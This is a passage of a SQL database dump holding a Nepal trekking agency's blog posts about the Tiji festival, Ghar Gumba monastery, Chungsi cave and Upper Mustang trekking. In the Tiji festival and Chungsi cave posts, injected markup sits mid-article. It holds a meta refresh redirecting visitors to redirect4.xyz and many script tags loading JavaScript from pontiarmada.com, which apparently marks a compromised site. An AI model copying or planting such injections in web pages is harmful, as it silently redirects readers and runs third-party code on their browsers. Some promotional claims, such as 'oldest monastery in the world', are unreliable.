budget, best travel agency in nepal, adventure planner, trekking in nepal, Traveling in Nepal, Traveling in Nepal on a budget, explore nepal, trek in nepal, nepal trek', 1, '2023-06-09 06:04:54', '2025-02-26 02:46:08'),
(3, 'Tiji festival of Mustang 2025 \"The chasing of the Demons\"', 'tiji-festival-of-mustang-2025-the-chasing-of-the-demons', '276', '274', '<p>Tiji festival of Upper mustang is a popular occasion, celebrates three days in the month of May once a year; presents historical and cultural significant of Tibetan Buddhism with its cultural performances.&nbsp;&nbsp;<br>Tiji festival is started to celebrate since 300 years ago in Mustang, also known as \"The Chasing of the Demons\" is believed of victory of good over evil, rooted rich tapestry of local legends, religious practices and communal gatherings.&nbsp;&nbsp;<br>The festival of Tiji, takes place in Lo Manthang, the walled capital of the ancient Kingdom of Mustang, which is a significant cultural and spiritual event in the region. <a href=\"https://www.adventuresplanner.com/packages/upper-mustang-trekking\"><strong><u>Upper Mustang</u></strong></a>, where Lo Manthang is located, is a remote and historically rich area in the north-central part of Nepal, near the border with Tibet.&nbsp;<br>Tiji festival often involve traditional rituals, dance and ceremonies that reflect the spiritual heritage of the Lo- Mantahng. The festival serves as an important time for the local people to honor their traditions, connect with their spiritual roots, and celebrate their cultural identity.</p><h3>Historical and cultural significance</h3><p><strong>&nbsp;</strong>In Vajrayana Buddhism, the term \"Dorje\" (Tibetan) or \"Vajra\" (Sanskrit) refers to a ritual object symbolizing the indestructible and powerful nature of the truth and spiritual force. According to mythology, Dorje, also known as a Vajrayana Guru, is a revered figure who battled against a demon threatening the ancient kingdom of <a href=\"https://www.adventuresplanner.com/packages/upper-mustang-trekking\"><strong><u>Mustang</u></strong></a>, located in the Himalayas. By defeating the demon, Dorje was able to save the kingdom of Lo- Manthang from destruction.&nbsp;<br>As a result of his triumph and spiritual significance, Dorje is venerated by the Vajrayana Buddhist communities in the Himalayas as a protector. The ritual object called a Vajra (or Dorje in Tibetan) is used in ceremonies as a symbol of spiritual power and protection. It represents the firmness of spirit and the invincible power of enlightenment. The Vajra is considered one of the most powerful tools for invoking spiritual power and is central to many ritual practices within Vajrayana Buddhism.</p><h3>The date of Tiji Festival in 2025</h3><p>The date of Tiji Festival in Mustang, scheduled for May 24, 25, and 26 in 2025, is indeed a vibrant celebration filled with spiritual rituals and cultural performances. During this time, monks gather in front of the King\'s Palace in Lo Manthang, where they play traditional music, recite Holy Scriptures, and perform local dances wearing elaborate masks.&nbsp;&nbsp;<br>These dances often depict the triumph of good over evil, reflecting the festival\'s deep spiritual significance. The entire village participates in the celebration, creating a lively and sacred atmosphere as they walk around the village, honoring their ancient traditions and cultural heritage.<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script></p><h3>Festival Highlights</h3><h4>Ritual:</h4><p>The Tiji Festival is rich with ceremonies and rituals that are central to its spiritual significance. Monks, dressed in elaborate traditional attire, lead the religious ceremonies, which include prayers, chants, and various rituals. These sacred activities are performed with great reverence, invoking blessings, protection, and spiritual purification for the participants and the community.&nbsp;&nbsp;<br>The rituals are deeply rooted in Vajrayana Buddhist practices, reflecting the ancient traditions and beliefs of the region. The ceremonies create a powerful spiritual atmosphere that resonates throughout the festival, drawing participants and observers into a collective experience of devotion and celebration.</p><h4>Masked Dance:&nbsp;</h4><p>The \"chhams,\" or masked dances, are a highlight of the Tiji Festival and one of its most captivating attractions. Performed by monks, these dances are not only a visual spectacle but also carry deep symbolic meaning. The elaborate masks and costumes worn by the dancers represent various deities and mythological figures, and the performances are choreographed to depict the eternal struggle between good and evil. Accompanied by traditional Tibetan music, the chhams tell stories of divine intervention and the eventual victory of good forces over malevolent ones. The rhythmic movements, vibrant masks, and the powerful music combine to create an awe-inspiring display that captivates the audience. These dances are a crucial part of the festival\'s rituals, emphasizing the spiritual and cultural values that have been passed down through generations in the <a href=\"https://www.adventuresplanner.com/destinations/mustang-region\"><strong><u>Mustang region</u></strong></a>.</p><h4>Tibetan Buddhist Practice:&nbsp;</h4><p>The Tiji Festival is a vivid display of Tibetan Buddhist traditions, showcasing the region\'s deep spiritual heritage. Integral to the festival are sacred texts, thangka paintings, and ritual instruments, each playing a significant role in the ceremonies.</p><ul><li><strong>A: Sacred Texts:</strong> Monks recite ancient scriptures and prayers, invoking blessings and protection for the community. These texts are central to the spiritual rituals, guiding the festival\'s religious practices.</li><li><strong>B: Thangka Paintings: </strong>These intricate, hand-painted scrolls depict deities, mandalas, and scenes from Buddhist teachings. Thangkas are often displayed during the festival, serving as visual representations of the spiritual themes being honored and meditated upon. &nbsp;&nbsp;<br>During the Tiji Festival, one of the most striking visual elements is the display of a large thangka, which is a traditional Tibetan Buddhist painting. This particular thangka, painted with gold, is one of the largest and most revered, symbolizing the festival\'s spiritual grandeur. It is carefully hung in front of the King\'s Palace in Lo Manthang, serving as a central focal point for the festivities.</li><li><strong>C: Ritual Instruments:</strong> The sounds of traditional Tibetan instruments, such as horns, drums, and cymbals, fill the air during the ceremonies. These instruments are not just musical; they are considered tools for invoking divine presence and enhancing the spiritual atmosphere.</li></ul><h3>Monk\'s Performance &amp; Presentation</h3><h4>1st Day (The ceremony of Demon\'s defeat)</h4><p>The Ritual of the Demon’s Defeat is a traditional ceremony associated with the Tiji Festival in Mustang, Nepal. It’s a dramatic reenactment of a mythological battle where the deity of the festival, Buddha, fights and defeats a demon to restore peace and harmony. The ritual features vibrant dances, music, and elaborate costumes, and it\'s a central part of the Tiji celebrations. This ritual symbolizes the triumph of good over evil and is an essential aspect of the festival\'s cultural and spiritual significance.</p><h4>2nd Day (The Battle against Demon)</h4><p>On the second day of the Tiji Festival, known as \"The Battle against the Demon,\" the rituals intensify as the monks and performers reenact the most dramatic part of the Tiji myth. This day symbolizes the fierce confrontation between the deity Dorje Jono, a manifestation of Vajrakila (an important deity in Tibetan Buddhism), and the demon, who represents the forces of evil and chaos.</p><h4>3rd Day (The victory, celebration and offerings)</h4><p>The third day of the Tiji Festival is the culmination of the three-day event, marked by celebration, victory, and offerings. This day symbolizes the final defeat of the demon and the restoration of peace and harmony in the region. The rituals and ceremonies on this day are imbued with a sense of triumph and renewal.</p><h3>Tour to Lomanthang (How to reach?)</h3><p>Reaching Lo Manthang for the Tiji Festival is an adventure in itself, requiring a trek through the breathtaking landscapes of the Annapurna and Dhaulagiri ranges. This journey offers trekkers an opportunity to experience the majestic beauty of the Himalayas up close, with stunning views of snow-capped peaks, deep valleys, and high-altitude deserts.</p><p>We take early morning flight to Jomsom from Pokhara offers spectacular Mountain views on the route. It is scenic 17 minutes mountain flight. &nbsp;Upon arrival in Jomsom airport our permits and documents are checked by Annapurna Conservational Area Project and we start to drive by jeep through rugged terrain along with Kali Gandaki River, offers best view of landscapes and territory. Due to high altitude, in single day we will not recommend to drive Lomanthang from Jomsom. We stop first day in kagbeni which is an ancient village with prehistoric monastery having sightseeing around.</p><p>Next day early in the morning, after breakfast, our special permit is checked in Kagbeni and we continue drive a head to Nepal Tiber border side through Chuksang, Chaile, Syangbohce, Ghami and Tsarang village. Within 2-3 days night stay in local lodge on the route, we finally reach in walled city of ancient kingdom of Lomantahng. We explore ancient caves, monastery, Chortens, stupa, River, desert and dramatic mountain vistas on the route from Jomsom to Lomanthang.</p><h3>Conclusion</h3><p>The Tiji Festival Tour plays a crucial role in preserving the cultural heritage of the <a href=\"https://www.adventuresplanner.com/destinations/mustang-region\"><strong><u>Mustang region</u></strong></a>. It attracts not only locals but also international tourists and researchers interested in Tibetan Buddhism and Himalayan cultures. Let explore Tiji festival tour 2025 with us.</p>', 'Tiji festival of Mustang 2025 \"The chasing of the Demons\" | Adventure Planner', 'The Tiji Festival Tour plays a crucial role in preserving the cultural heritage of the Mustang region. It attracts not only locals but also international tourists and researchers interested in Tibetan Buddhism and Himalayan cultures.', NULL, 'tiji festival of mustang 2025 the chasing of the demons, trekking in nepal, adventure planner, tiji festival in nepal,mustang region trek, mustang trekking, upper mustang trek, upper mustang overland trek, mustang trek,  tiji festival in nepal', 1, '2024-08-16 15:27:05', '2025-02-26 02:45:41');
INSERT INTO `news` (`id`, `name`, `slug`, `image`, `banner`, `description`, `seo_title`, `seo_description`, `seo_schema`, `seo_keywords`, `status`, `created_at`, `updated_at`) VALUES
(4, 'Ghar Gumba: An ancient Monastery of the World', 'ghar-gumba-an-ancient-monastery-of-the-world', '280', '280', '<p><strong>Ghar Gumba or Lo Gekar Monastery of Upper mustang is one of the oldest monastery of the world which was built in 8th century by Guru Rimpoche or Padmasambhaba. </strong>The monastery is totally rooted in Tibetan Buddhist traditions and considered one of the significant <strong>spiritual sites of Mustang region.&nbsp;</strong></p><p><br>This nine-storied monastery was built over the heart of a legendary monster, symbolizing deep spiritual symbolism. Its ancient architecture and historical importance make it is a respected site for Buddhist pilgrims.&nbsp;<br>Lo Gekar reflects the monastery\'s spiritual importance and its connection with purity and virtue. \"Lo\" refers to the region of Lo, which is the ancient name of Mustang region. \"Gekar\" represents pure virtue.&nbsp;<br>The Lo Gekar or <strong>Ghar Gumba Monastery’s</strong> interior sounds incredible. The combination of holy books, manuscripts, murals, and statues creates a deeply spiritual atmosphere. The large statue of Guru Rinpoche (Padmasambhava) inside the cave adds a significant touch of reverence and connection to the Tantric traditions.</p><h3><strong>History and Mythology of Ghar Gumba</strong></h3><p><strong>Guru Rinpoche, also known as Padmasambhava</strong>, is a revered figure in Tibetan Buddhism, credited with bringing Buddhism to Tibet in the 8th century. Before reaching Tibet, he is believed to have meditated for three years, three months, three weeks, three days, and three hours in the caves of Pharping, Kathmandu. This period of intense meditation is said to have led to his enlightenment.<br>After achieving enlightenment in Pharping, Guru Rinpoche is believed to have traveled to Tibet, entering the region through the Mustang area. His journey through Mustang holds significant spiritual importance, as he is credited with calming local spirits and establishing the foundations of Tibetan Buddhism.<br><strong>Guru Rimpoche</strong> was invited by Tibetan king Trisong Detsen in Tibet to promote Buddhism in Tibet and to establish significant Samye Monastery because a monster, Lo Singmo Gengyal destroyed the construction all the time. &nbsp;The monster ran away to Mustang When Guru Rimpoche reached in Tibet. By dropping salt along on the way to different places of Mustang the monster went his way to his destination such as in Chhora Sumda and Kobang village of Lower Mustang.&nbsp;<br><strong>The Tiji Festival in Mustang</strong> sounds like a vibrant and meaningful celebration at the<strong> Lo Ghekar Monastery. </strong>The Cham dances and the depiction of ancient Buddhist legends must make it a visually and spiritually captivating experience for everyone involved. It’s a wonderful way to immerse in the cultural and religious traditions of the region.</p><h3><strong>Guru Rimpoche and Monster Conflict in Details&nbsp;</strong></h3><p>According to local tradition,<strong> Guru Rimpoche embarked on a journey through Mustang,</strong> leaving behind sacred marks, footprints, and sites when he was running to find a monster. Because Monster caused suffering among the local people, disrupting their lives and spreading fear. The monster is often described as a powerful and dark force, representing ignorance and negative karma. The battle between enlightened master and the dark force was intense, symbolizing the struggle between wisdom and ignorance, good and evil.&nbsp;<br>In the region between <strong>Jomsom and Kagbeni</strong>, known as Uche, it is said that<strong> Guru Rimpoche</strong> was in pursuit of a monstrous entity causing harm to the local people. During his journey, he grew tired and took a rest, leaving a visible mark on the stone where he sat. This mark is still respected by pilgrims and locals who pass through the area.</p><p><br>As he continued his journey, <strong>Guru Rimpoche</strong> visited several significant places in Mustang, including Chaile, Nyi La, and Ghami. At Nyi La, after a particularly exhausting walk, he took a sleep. Upon waking, he felt thirsty and, using his incredible powers, he is believed to have extracted water from the top of a hill. The spot where this occurred is marked by his footprint, can be seen now also.&nbsp;<br>In the end, <strong>Guru Rimpoche emerged victorious in Ghami vilalge.</strong> The monster, unable to fight against the power of the vajra and due to the enlightened mind of <strong>Guru Rimpoche</strong>, monster was defeated. However, rather than being completely destroyed, the monster\'s body was transformed into various sacred sites scattered throughout Mustang. These sites are believed to hold the energy and essence of the battle, serving as reminders of Guru Rimpoche\'s victory over evil.<br>After the defeat of the monster, peace was restored to <a href=\"https://www.adventuresplanner.com/packages/upper-mustang-trekking\">Mustang</a>. The sacred sites created from the monster\'s body parts became places of pilgrimage and worship.</p><p><strong>Mandaringma:</strong> A long prayer wheel wall formed from the monster’s entrails. A chortens was built over his bones and other parts of the body.&nbsp;<br><strong>Dhakmar Red Hill: </strong>The hill\'s red color comes from the monster\'s lungs and blood. Still now we can see Dhakmar Hill is completely red.&nbsp;<br><strong>Lo Ghekar Monastery or Ghar Gumba:</strong> Built over the monster’s heart, this nine-storied monastery is considered the oldest not only in Nepal and Tibet but also in the world.</p><h3><strong>How to Reach Lo Gekar or Ghar Gumba from Pokhara?</strong></h3><p><strong>Traveling to Ghar Gumba</strong> sounds quite flexible! Whether you have option for a trek from Jomsom or a Jeep drive, you’ll be able to enjoy the journey in your own preferred way. The flight from Pokhara to Jomsom in the morning must offer some breathtaking views of Annapurna and Dhaurlaigir region.&nbsp;<br>Using a Jeep drive from <strong>Jomsom</strong> is definitely a practical choice given the condition of the trekking routes because most of trekking routes are demolished by Jeep road. It’s great that you can still enjoy the area with small hikes to explore the monastery and nearby caves such as Chungsi Cave, Jhong Cave,&nbsp;<br>While <strong>visiting Ghar Gumba</strong>, you will also have the opportunity to<strong> Lo Manthang Tour</strong>, the ancient kingdom of Nepal. Additionally, you can explore popular Buddhist monasteries, shrines, caves, and historic sites like the old king palace and ancient walled village of Lo Manthang.&nbsp;<br>&nbsp;</p><p><strong>During the Tiji Festival at Ghar Gumba, the monks engage in reading holy books and conduct special prayers and blessings. </strong>The festival is marked by masked dances performed by the monks, with the community and visitors actively participating. They bring offerings such as food, lamps, and money to the monastery, enhancing the spiritual atmosphere of the event.</p><h4><strong>Conclusion : Ghar Gumba- Tiji Festival and Guru Rimpoche&nbsp;</strong></h4><p><strong>Ghar Gumba is renowned for its spiritual significance</strong>, where visitors seek positive energy, peace, prosperity, wisdom, and personal enlightenment. Its ancient history and serene atmosphere make it a special place for those on a spiritual journey.&nbsp;<br><strong>Ghar Gumba\'s </strong>atmosphere is indeed enriched by the presence of monks in prayer, Buddhist flags, ancient holy books, art and paintings on the walls, and the statue of Guru Rinpoche. These elements contribute to its deeply historic and primitive feel, adding to its spiritual significance.<br>As we journey together, may this visit to Ghar Gumba be a source of inspiration, peace, and enlightenment for you. <strong>Let\'s explore Ghar Gumab of </strong><a href=\"https://www.adventuresplanner.com/destinations/mustang-region\"><strong>Mustang region</strong></a><strong>.</strong></p>', 'Ghar Gumba: An ancient Monastery of the World | Guru Rimpoche in Details', 'Ghar Gumba is renowned for its spiritual significance, where visitors seek positive energy, peace, prosperity, wisdom, and personal enlightenment. Its ancient history and serene atmosphere make it a special place for those on a spiritual journey.', NULL, 'Ghar Gumba: An ancient Monastery of the World, Guru Rimpoche in Details', 1, '2024-08-28 15:29:08', '2024-11-22 07:41:43'),
(5, 'Mysterious Ranchung Chungsi, Cave Monastery of Upper Mustang', 'mysterious-ranchung-chungsi-cave-monastery-of-upper-mustang', '297', '297', '<p>Ranchung Chungsi Cave, one of the oldest cave of Upper Mustang, Nepal, is located between the trekking routes of Samar and Syangboche village where a tantric Guru Rimpoche while his way to kill monster did meditation inside the cave.</p><p><br>In Hindu tradition, it is believed that Lord Shiva, during his journey to the sacred mountain Kailash, stopped at various places for meditation and spiritual practices. According to some local legends and beliefs in the region, it is said that Lord Shiva meditated in Chungsi Cave while traveling to Mt. Kailash Tibet.</p><p><br>During his journey to Tibet, Guru Rimpoche left his footprints in 8th century while doing meditation inside the Chungsi Cave and these feet symbols are worshipped by visitors nowadays.</p><p><br>Pilgrims while visiting Chungsi Cave often report feeling vibrations in their bodies, as it is believed that Tantric energy still resides within the cave. This adds to the profound spiritual experience for those who visit this sacred site. So the Cave is considered as a powerful place for spiritual practice and meditation.</p><p><br>Reaching Chungsi Cave involves a half-hour hike after arriving at the bottom by Jeep, followed by climbing steps before entering the cave territory. The cave is surrounded by rugged landscapes typical of Upper Mustang, offering stunning views of the barren mountains and valley outside.<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script></p><p>While heading to Upper Mustang tour or Upper mustang trekking, the travelers can visit Chungsi cave to explore primitive and historic existence of energy which is hidden inside the cave territory. While doing short meditation inside the cave the pilgrims easily get vibration in their hands and body due to powerful Tantric energy that is blowing inside the cave.</p><h3><strong>How to reach Chungsi Cave from Pokhara ?</strong></h3><p><br>After the scenic flight from Pokhara to Jomsom, travelers can trek to Chungsi Cave via Kagbeni, Chuksang, Chaile, and Samar. However, with recent road construction in Upper Mustang, many traditional trekking routes have been damaged or demolished. This makes it more practical for many travelers to opt for Jeep rides along the new roads instead of trekking long distances. The drive offers quicker access, although some may prefer to trek sections for a more immersive experience.</p><p><br><strong>Flight to Jomsom and Jeep ride to Chungi Cave:</strong> After enjoying the scenic flight from Pokhara to Jomsom, you can take a Jeep drive direct to Chungsi Cave, passing through several local villages and crossing rivers in Upper Mustang. Upon reaching the base of the cave, a 30-minute uphill hike is required to reach the cave\'s interior, offering a blend of natural beauty and cultural exploration</p><p><br><strong>Samar to Chungsi Cave Hike:</strong> From Samar village there is very nice traditional trekking routes to Chungsi Cave continues towards Syangboche Village. Once you will reach in the base of the cave need 30 minutes uphill hiking with steps leading to the entrance of the Cave.</p><p>Trekkers often feel a sense of isolation or solitude while trekking from Samar to Chungsi Cave. The route involves crossing uphill and downhill terrain before reaching the base of the cave, adding a challenging and introspective element to the journey. This remote path, with its rugged beauty, creates a peaceful and reflective trekking experience.</p><p><strong>Conclusion</strong></p><p><br>Chungsi Cave in Upper Mustang is a deeply spiritual and historically significant site, believed to be a meditation spot of Guru Rinpoche or Padmasambhaba. The cave is nestled between Samar and Syangboche and it is accessible by both trekking and Jeep rides, though the final approach requires a 30-minute uphill hike.</p><p>Visitors are rewarded with stunning views of the Mustang landscape, along with a profound sense of peace and isolation, making it a powerful destination for meditation and spiritual reflection. The cave\'s natural beauty and sacred history attract pilgrims and travelers seeking both adventure and enlightenment.&nbsp;<br>&nbsp;</p>', 'Explore the Mysterious Ranchung Chungsi Cave Monastery in Upper Mustang', 'Discover the enigmatic Ranchung Chungsi Cave Monastery in Upper Mustang. Delve into the history and mystery of this ancient cave monastery and explore its significance in Nepalese culture.', NULL, 'Ranchung Chungsi Cave Monastery, Upper Mustang, Nepal monasteries, cave monasteries Nepal, adventure travel Upper Mustang, hidden temples Nepal, mysterious monasteries, Upper Mustang attractions', 1, '2024-09-11 02:30:05', '2025-02-26 02:44:59');
INSERT INTO `news` (`id`, `name`, `slug`, `image`, `banner`, `description`, `seo_title`, `seo_description`, `seo_schema`, `seo_keywords`, `status`, `created_at`, `updated_at`) VALUES
(6, 'The Hidden Kingdom of Nepal : Upper Mustang Trek | Mustang Trekking Package', 'the-hidden-kingdom-of-nepal-upper-mustang-trek-mustang-trekking-details', '288', '287', '<p>Mustang is famous for trekking primarily because it offers a unique combination of <strong>cultural richness</strong>, <strong>breathtaking landscapes</strong>, and <strong>historical significance</strong> that few other trekking destinations in Nepal can match. Here are some of the key reasons why Mustang, particularly <strong>Upper Mustang</strong>, is a sought-after trekking destination:</p><p>1. <strong>Stunning and Unique Landscape</strong></p><ul><li><strong>Desert-like Terrain</strong>: Upper Mustang, often called the \"Forbidden Kingdom,\" is located in the rain shadow of the Annapurna and Dhaulagiri mountain ranges. <span style=\"box-sizing:border-box;margin:0;padding:0;text-align:left;\"><strong>Desert-like conditions</strong>, with deep canyons, rock formations, and barren hills characterize the landscape</span>. This makes it stand out from the lush greenery of other parts of Nepal.</li><li><strong>Panoramic Views</strong>: The trek offers exceptional views of the <strong>Himalayan mountain range</strong>, including peaks like <strong>Annapurna I</strong>, <strong>Dhaulagiri</strong>, and <strong>Nilgiri</strong>, which serve as a dramatic backdrop to the arid landscapes of Mustang.</li><li><strong>The Kali Gandaki River Gorge</strong>: The trek passes through the world’s deepest gorge, the <strong>Kali Gandaki Gorge</strong>, formed between the Dhaulagiri and Annapurna ranges. This gorge\'s stark, dramatic beauty is a key highlight of the trek.</li></ul><p>2. <strong>Cultural and Historical Significance</strong></p><ul><li><strong>Tibetan Influence</strong>: Mustang has deep cultural ties with Tibet, and its people practice a <strong>Tibetan form of Buddhism</strong>. The region was once a <strong>separate kingdom</strong> (the Kingdom of Mustang) and was ruled by a local king until the monarchy was abolished in Nepal. This rich history is reflected in the architecture, monasteries, and religious practices of the region.</li><li><strong>Lo Manthang</strong>: The ancient walled city of <strong>Lo Manthang</strong> was the capital of the Kingdom of Mustang. It is famous for its <strong>Tibetan-style architecture</strong>, <strong>monasteries</strong>, and <strong>palaces</strong>. Visiting Lo Manthang feels like stepping back in time, offering a glimpse of life as it has been for centuries in this isolated part of the world.</li><li><strong>Monasteries and Temples</strong>: Mustang is home to several significant monasteries, including the <strong>Lo Gekar Monastery</strong> and the <strong>Tashi Lhakhang Monastery</strong>. These monasteries are not just religious sites but also cultural treasures that reflect the deep spiritual heritage of the region.</li></ul><p>3. <strong>The Forbidden Kingdom</strong></p><ul><li><strong>Restricted Access</strong>: For many years, Upper Mustang was a <strong>forbidden kingdom</strong> and was closed to foreigners. The area was opened to trekkers only in 1992, and this restriction has helped preserve its <strong>untouched charm</strong>. The sense of exploring a previously inaccessible place adds to the allure of trekking in Mustang.</li><li><strong>Permits Required</strong>: To visit the Upper Mustang, trekkers need special permits (an <strong>Annapurna Conservation Area Permit</strong> and a <strong>Restricted Area Permit</strong>). The limited number of visitors allowed each year helps maintain the region’s pristine environment and unique culture.</li></ul><p>4. <strong>Buddhist Heritage and Sacred Sites</strong></p><ul><li><strong>Caves of Mustang</strong>: The cliffs of Mustang are dotted with <strong>ancient caves</strong>, many of which were used by Buddhist monks for meditation and prayer. Some of these caves are thought to be thousands of years old. One famous cave complex is the <strong>Tomb of the Lama</strong>, where it is believed early Buddhist monks lived.</li><li><strong>Pilgrimage Sites</strong>: Mustang is home to several sacred sites for Tibetan Buddhists, including <strong>Muktinath</strong>, which is considered a sacred temple for both Hindus and Buddhists. The region\'s spiritual and religious atmosphere makes it a pilgrimage destination for many.</li></ul><p>5. <strong>Off-the-Beaten-Path Adventure</strong></p><ul><li><strong>Isolation</strong>: Upper Mustang is one of the most <strong>isolated regions in Nepal</strong>, and trekking here offers a sense of adventure and discovery that is hard to find in other areas. The sense of remoteness, combined with the rugged terrain, makes the trek feel like an <strong>exploration of an untouched land</strong>.</li><li><strong>Lower Mustang vs Upper Mustang</strong>: While <strong>Lower Mustang</strong> (including places like <strong>Jomsom</strong> and <strong>Muktinath</strong>) is more accessible and sees more tourists, <strong>Upper Mustang</strong> is much quieter, offering a more <strong>authentic and less commercialized trekking experience</strong>.</li></ul><p>6. <strong>Rich Flora and Fauna</strong></p><ul><li>Despite its arid, desert-like landscape, Mustang is home to a variety of <strong>wildlife</strong>, including the elusive <strong>snow leopard</strong>, <strong>Himalayan tahr</strong>, <strong>blue sheep</strong>, and various species of <strong>birds</strong>. The unique <strong>flora</strong>, which includes alpine plants, adds to the region’s natural beauty.</li></ul><p>7. <strong>Moderate Trekking Difficulty</strong></p><ul><li><strong>Moderate Challenge</strong>: The trek to Mustang is considered moderate to difficult. It is less physically demanding than some of the higher-altitude treks in Nepal, like Everest Base Camp or Annapurna Circuit, but still requires good physical fitness due to its <strong>altitude</strong> (ranging from around 2,800 meters at Jomsom to 4,000 meters in Upper Mustang).</li><li><strong>Accessible Season</strong>: Due to the rain shadow effect, Mustang is one of the few areas in Nepal that can be trekked during the <strong>monsoon season</strong> (June to September), making it an attractive option for those wanting to avoid the rain elsewhere in Nepal.</li></ul><p>8. <strong>Cultural Immersion</strong></p><ul><li><strong>Authentic Tibetan Experience</strong>: Unlike other parts of Nepal, Mustang is not heavily influenced by mainstream tourism. The local people continue to live much as they have for centuries, preserving their <strong>Tibetan traditions</strong> in everyday life. Trekking in Mustang allows travelers to immerse themselves in this ancient culture, interacting with locals and learning about their way of life.</li></ul><p>9. <strong>Photography Opportunities</strong></p><ul><li>The contrast between the <strong>blue skies</strong>, <strong>snow-capped mountains</strong>, <strong>barren cliffs</strong>, and traditional Tibetan villages makes Mustang a photographer\'s dream. The landscapes are incredibly photogenic, and trekkers have ample opportunities to capture stunning images of both nature and the unique culture of the area. <strong>Upper Mustang Trek Overview with Adventure Planner Trek</strong></li></ul><figure class=\"image image_resized\" style=\"width:100%;\"><img src=\"data:image/jpeg;base64,[encoded data, 266628 characters]\"></figure><h2><strong>Upper Mustang Trek Overview with Adventure Planner Trek</strong></h2><p><strong>Upper Mustang</strong> is one of the most remote and culturally fascinating regions of Nepal, often referred to as the \"Hidden Kingdom.\" The area is rich in Tibetan Buddhist culture, with its arid, desert-like landscapes set against the towering Himalayan peaks. Here\'s what to expect from an <strong>Upper Mustang Trek</strong> with an adventure trekking agency like <strong>Adventure Planner:&nbsp;</strong></p><h5><strong>Key Highlights of the Upper Trek</strong></h5><ol><li><strong>Lo Manthang</strong>: The ancient capital of the Kingdom of Mustang, with its fortified walls, ancient monasteries, and Tibetan-style architecture.</li><li><strong>Breathtaking Views</strong>: Incredible views of <strong>Annapurna</strong>, <strong>Dhaulagiri</strong>, and <strong>Nilgiri</strong> mountains. The trek also takes you through the <strong>Kali Gandaki Gorge</strong>, the deepest gorge in the world.</li><li><strong>Unique Culture</strong>: Experience Tibetan Buddhist culture, with visits to ancient monasteries, caves, and temples.</li><li><strong>Trekking through Villages</strong>: Explore traditional villages like <strong>Kagbeni</strong>, <strong>Chele</strong>, <strong>Ghyami</strong>, and <strong>Tsaile</strong> that have preserved their ancient way of life.</li><li><strong>Muktinath Temple</strong>: A significant pilgrimage site for both Hindus and Buddhists.</li><li><strong>Historical Sites</strong>: Visit ancient caves and cliff dwellings that are over a thousand years old, and used by monks for meditation.</li></ol><h5><strong>What You Can Expect from Adventure Planner for the Upper Mustang Trek?&nbsp;</strong></h5><p><strong>Adventure Planner Trek</strong> is known for providing tailored, professional trekking experiences. Here’s how they typically organize and guide your <strong>Upper Mustang Trek</strong>:</p><p>1. <strong>Pre-Trek Preparations</strong></p><ul><li><strong>Customized Itinerary</strong>: Adventure Planner Trek can tailor the itinerary based on your specific preferences (e.g., trek duration, level of difficulty, areas of interest, etc.). Most Upper Mustang treks are around <strong>10 to 14 days</strong>.</li><li><strong>Permit Arrangements</strong>: One of the advantages of trekking with an agency is that they handle all the logistics, including obtaining necessary permits like the <strong>Annapurna Conservation Area Permit (ACAP)</strong> and the <strong>Restricted Area Permit (RAP)</strong>, which are required for Upper Mustang.</li><li><strong>Pre-Trek Briefing</strong>: Expect a detailed briefing before your trek begins, covering everything from <strong>safety protocols</strong> to <strong>what to pack</strong> and <strong>local 